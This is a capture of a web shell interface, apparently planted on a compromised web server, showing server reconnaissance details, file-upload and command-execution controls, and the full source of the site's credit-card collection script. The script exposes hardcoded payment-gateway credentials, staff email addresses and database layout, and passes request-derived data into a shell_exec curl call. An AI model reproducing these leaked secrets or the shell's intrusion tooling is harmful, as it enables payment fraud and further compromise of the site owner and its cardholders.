403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.216.64
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/asap_sites/securepayasap.com/php/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/asap_sites/securepayasap.com/php/save_cc_info.php
<?php
	session_start();
	require_once($_SERVER['DOCUMENT_ROOT'].'/php/mysql.php');
	
	function random_strings($length_of_string) {
		$str_result = '23456789ABCDEFGHJKLMNPQRSTUVWXYZ';
		return substr(str_shuffle($str_result), 0, $length_of_string);
	}
	
	function create_unique_code() {
		global $db;
		$is_there = true;
		while(!empty($is_there)) {
			$code = random_strings(2).'A'.random_strings(2);
			$is_there = $db->get_results("SELECT id FROM asap_leads.pci_orders WHERE unique_code='".$db->clean($code)."'");
		}
		return $code;
	}
	
	if(!empty($_POST['action'])) {
		if($_POST['action']=='save_cc_info') {
			$errors = '';
			if(empty($_POST['cc_num'])) {
				$errors .= ($errors=='') ? 'You must enter a credit card number.' : "\n".'You must enter a credit card number.';
			} else {
				$_POST['cc_num'] = preg_replace('/[^0-9]/','',$_POST['cc_num']);
			}
			if(empty($_POST['cc_exp_month'])) {
				$errors .= ($errors=='') ? 'You must enter an expiration month.' : "\n".'You must enter an expiration month.';
			}
			if(empty($_POST['cc_exp_year'])) {
				$errors .= ($errors=='') ? 'You must enter an expiration year.' : "\n".'You must enter an expiration year.';
			}
			if(($_POST['cc_exp_year'] < date('Y')) || ($_POST['cc_exp_year']==date('Y') && ($_POST['cc_exp_month']*1) < (date('m')*1))) {
				$errors .= ($errors=='') ? 'The credit card expiration has expired.' : "\n".'The credit card expiration has expired.';
			}
			$_POST['cc_exp_year'] = substr($_POST['cc_exp_year'],-2);
			if(empty($_POST['cc_cvv'])) {
				if(substr($_POST['cc_first_four'],0,1)!=3) {
					$errors .= ($errors=='') ? 'You must enter an CVV number (3 digits on back of card).' : "\n".'You must enter an CVV number (3 digits on back of card).';
				} else {
					$errors .= ($errors=='') ? 'You must enter an CVV number (4 digits on front of card near the top right).' : "\n".'You must enter an CVV number (4 digits on front of card near the top right).';
				}
			}
			if(empty($_POST['first_name'])) {
				$errors .= ($errors=='') ? 'You must enter your first name.' : "\n".'You must enter your first name.';
			}
			if(empty($_POST['last_name'])) {
				$errors .= ($errors=='') ? 'You must enter your last name.' : "\n".'You must enter your last name.';
			}
			if(empty($_POST['email'])) {
				$errors .= ($errors=='') ? 'You must enter your email.' : "\n".'You must enter your email.';
			}
			if(empty($_POST['phone'])) {
				$errors .= ($errors=='') ? 'You must enter your phone.' : "\n".'You must enter your phone.';
			} else {
				$_POST['phone'] = preg_replace('/[^0-9]/','',$_POST['phone']);
			}
			if(!empty($errors)) {
				die($errors);
			}
			
			/*if(!empty($_SESSION['pci_orders_id'])) {
				$res = $db->get_results("SELECT unique_code,response_num FROM asap_leads.pci_orders WHERE id='".$db->clean($_SESSION['pci_orders_id'])."'");
				if($res[0]->response_num=='1') {
					die('Success|'.$res[0]->unique_code);
				}
			}*/
			
			$unique_code = create_unique_code();
			//echo 'Success|'.$unique_code;
			//die();
			
			$responses = array();
			$c_url = "https://secure.networkmerchants.com/api/transact.php";
			if(!empty($_SESSION['customer_vault_id']) && $_SESSION['email']==$_POST['email']) {
				$query = "customer_vault=update_customer&customer_vault_id=".$_SESSION['customer_vault_id'];
				$unique_code = $_SESSION['unique_code'];
			} else {
				$query = "customer_vault=add_customer";
			}

			$query .= "&username=asfap";
			$query .= "&password=znFWG_pV73Gn7yXX!!&";
			// Sales Information
			$query .= "ccnumber=" . urlencode($_POST['cc_num']) . "&";
			$query .= "ccexp=" . urlencode($_POST['cc_exp_month'] . $_POST['cc_exp_year']) . "&";
			// Order Information
			$query .= "ipaddress=" . urlencode($_SERVER['REMOTE_ADDR']) . "&";
			$query .= "ponumber=" . urlencode($_POST['phone']) . "&";
			// Billing Information
			$query .= "firstname=" . urlencode($_POST['first_name']) . "&";
			$query .= "lastname=" . urlencode($_POST['last_name']) . "&";
			$query .= "company=" . urlencode('') . "&";
			$query .= "address1=" . urlencode('') . "&";
			$query .= "address2=" . urlencode('') . "&";
			$query .= "city=" . urlencode('') . "&";
			$query .= "state=" . urlencode('') . "&";
			$query .= "zip=" . urlencode('') . "&";
			$query .= "country=" . urlencode('US') . "&";
			$query .= "phone=" . urlencode($_POST['phone']) . "&";
			$query .= "fax=" . urlencode('') . "&";
			$query .= "email=" . urlencode($_POST['email']) . "&";
			$query .= "website=" . urlencode('') . "&";
			// Shipping Information
			$query .= "shipping_firstname=" . urlencode($_POST['first_name']) . "&";
			$query .= "shipping_lastname=" . urlencode($_POST['last_name']) . "&";
			$query .= "shipping_company=" . urlencode('') . "&";
			$query .= "shipping_address1=" . urlencode('') . "&";
			$query .= "shipping_address2=" . urlencode('') . "&";
			$query .= "shipping_city=" . urlencode('') . "&";
			$query .= "shipping_state=" . urlencode('') . "&";
			$query .= "shipping_zip=" . urlencode('') . "&";
			$query .= "shipping_country=" . urlencode('US') . "&";
			$query .= "shipping_email=" . urlencode($_POST['email']);
			
			$data = shell_exec('curl --tlsv1.2 --data "'.$query.'" '.$c_url);
			$data = explode("&",$data);

			$responses = array();
			for($i=0;$i<count($data);$i++) {
				$rdata = explode("=",$data[$i]);
				$responses[$rdata[0]] = $rdata[1];
			}
			if(empty($responses['customer_vault_id']) && !empty($_SESSION['customer_vault_id'])) {
				$responses['customer_vault_id'] = $_SESSION['customer_vault_id'];
			}
			
			if(!empty($responses['customer_vault_id'])) {
				if(!empty($_SESSION['pci_orders_id'])) {
					$db->query("UPDATE asap_leads.pci_orders
								SET unique_code = '".$db->clean($unique_code)."'
									,customer_vault_id = '".$db->clean($responses['customer_vault_id'])."'
									,bin_number = '".$db->clean(substr($_POST['cc_num'],0,6))."'
									,last_four = '".$db->clean(substr($_POST['cc_num'],-4))."'
									,exp_month = '".$db->clean($_POST['cc_exp_month'])."'
									,exp_year = '".$db->clean($_POST['cc_exp_year'])."'
									,payment_type = '".$db->clean($_POST['payment_plan'])."'
									,first_name = '".$db->clean($_POST['first_name'])."'
									,last_name = '".$db->clean($_POST['last_name'])."'
									,email = '".$db->clean($_POST['email'])."'
									,phone = '".$db->clean($_POST['phone'])."'
								WHERE id='".$db->clean($_SESSION['pci_orders_id'])."'");
					$last_id = $_SESSION['pci_orders_id'];
				} else {
					$db->query("INSERT INTO asap_leads.pci_orders
									(
										unique_code
										,customer_vault_id
										,bin_number
										,last_four
										,exp_month
										,exp_year
										,payment_type
										,first_name
										,last_name
										,email
										,phone
										,auth_amount
										,auth_response_num
										,auth_response
										,auth_transaction_id
									) VALUES (
										'".$db->clean($unique_code)."'
										,'".$db->clean($responses['customer_vault_id'])."'
										,'".$db->clean(substr($_POST['cc_num'],0,6))."'
										,'".$db->clean(substr($_POST['cc_num'],-4))."'
										,'".$db->clean($_POST['cc_exp_month'])."'
										,'".$db->clean($_POST['cc_exp_year'])."'
										,'".$db->clean($_POST['payment_plan'])."'
										,'".$db->clean($_POST['first_name'])."'
										,'".$db->clean($_POST['last_name'])."'
										,'".$db->clean($_POST['email'])."'
										,'".$db->clean($_POST['phone'])."'
										,0
										,0
										,''
										,''
									)");
					$last_id = $db->last_insert_id();
				}
				$_SESSION['customer_vault_id'] = $responses['customer_vault_id'];
				$_SESSION['pci_orders_id'] = $last_id;
				$_SESSION['email'] = $_POST['email'];
				$_SESSION['unique_code'] = $unique_code;
				
				$amount = 2995;
				if($_POST['payment_plan']=='payment_plan') {
					$amount = 599;
				}
				
				$db->query("UPDATE asap_leads.pci_orders
							SET auth_amount='".$db->clean($amount)."'
							WHERE id='".$db->clean($last_id)."'");
				
				require_once($_SERVER['DOCUMENT_ROOT'].'/php/mailgun.php');
				$body = '<p>A new person just filled out the securepayasap.com form:</p>
						<p>Name: '.$_POST['first_name'].' '.$_POST['last_name'].'</p>
						<p>Phone: '.$_POST['phone'].'</p>
						<p>Email: '.$_POST['email'].'</p>
						<p>Unique Code: '.$unique_code.'</p>
						<p>Payment Plan: '.$_POST['payment_plan'].'</p>
						<p>CC: '.ucwords($_POST['cc_type']).' ****'.substr($_POST['cc_num'],-4).'</p>
						<p>Customer Vault ID: '.$responses['customer_vault_id'].'</p>';
				$larry_event = $db->get_results("SELECT id FROM asap_leads.association_event_details
												WHERE speaker='Larry Oxenham'
												AND CURDATE() BETWEEN event_date AND end_date");
				if(!empty($larry_event)) {
					mailgun_send_message('heinz57@gmail.com','NoReply@surfcrm.com','SecurePayASAP.com Submission',$body,1,'asap pci order','cameron@assetspeaker.com,hans@assetspeaker.com,larryoxx@gmail.com','','',0,array(),'',0);
				} else {
					mailgun_send_message('heinz57@gmail.com','NoReply@surfcrm.com','SecurePayASAP.com Submission',$body,1,'asap pci order','cameron@assetspeaker.com,hans@assetspeaker.com','','',0,array(),'',0);
				}
				
				echo 'Success|'.$unique_code;
				
				/*//Attempt Charge
				$postdata = array();
				$postdata['username'] = 'asfap';
				$postdata['password'] = 'znFWG_pV73Gn7y';
				$postdata['processor_id'] = 'asapcms';
				$postdata['customer_vault_id'] = $responses['customer_vault_id'];
				$postdata['amount'] = $amount;
				$postdata['type'] = 'auth';
				$query = '';
				foreach($postdata as $k=>$v) {
					$query .= ($query=='') ? '' : '&';
					$query .= $k.'='.$v;
				}
				$c_url = "https://secure.networkmerchants.com/api/transact.php";
				$data2 = shell_exec('curl --tlsv1.2 --data "'.$query.'" '.$c_url);


				$data2 = explode("&",$data2);
				$responses2 = array();
				for($i=0;$i<count($data2);$i++) {
					$rdata = explode("=",$data2[$i]);
					$responses2[$rdata[0]] = $rdata[1];
				}
				$db->query("UPDATE asap_leads.pci_orders
							SET auth_amount='".$db->clean($amount)."'
							,auth_response_num='".$db->clean($responses2['response'])."'
							,auth_response='".$db->clean($responses2['responsetext'])."'
							,auth_transaction_id='".$db->clean($responses2['transactionid'])."'
							WHERE id='".$db->clean($last_id)."'");
				if($responses2['response']=='1') {
					echo 'Success|'.$unique_code;
				} else {
					echo 'There was a problem with your credit card: '.$responses2['responsetext'];
				}*/
			}
		}
	}

Youez - 2016 - github.com/yon3zu
LinuXploit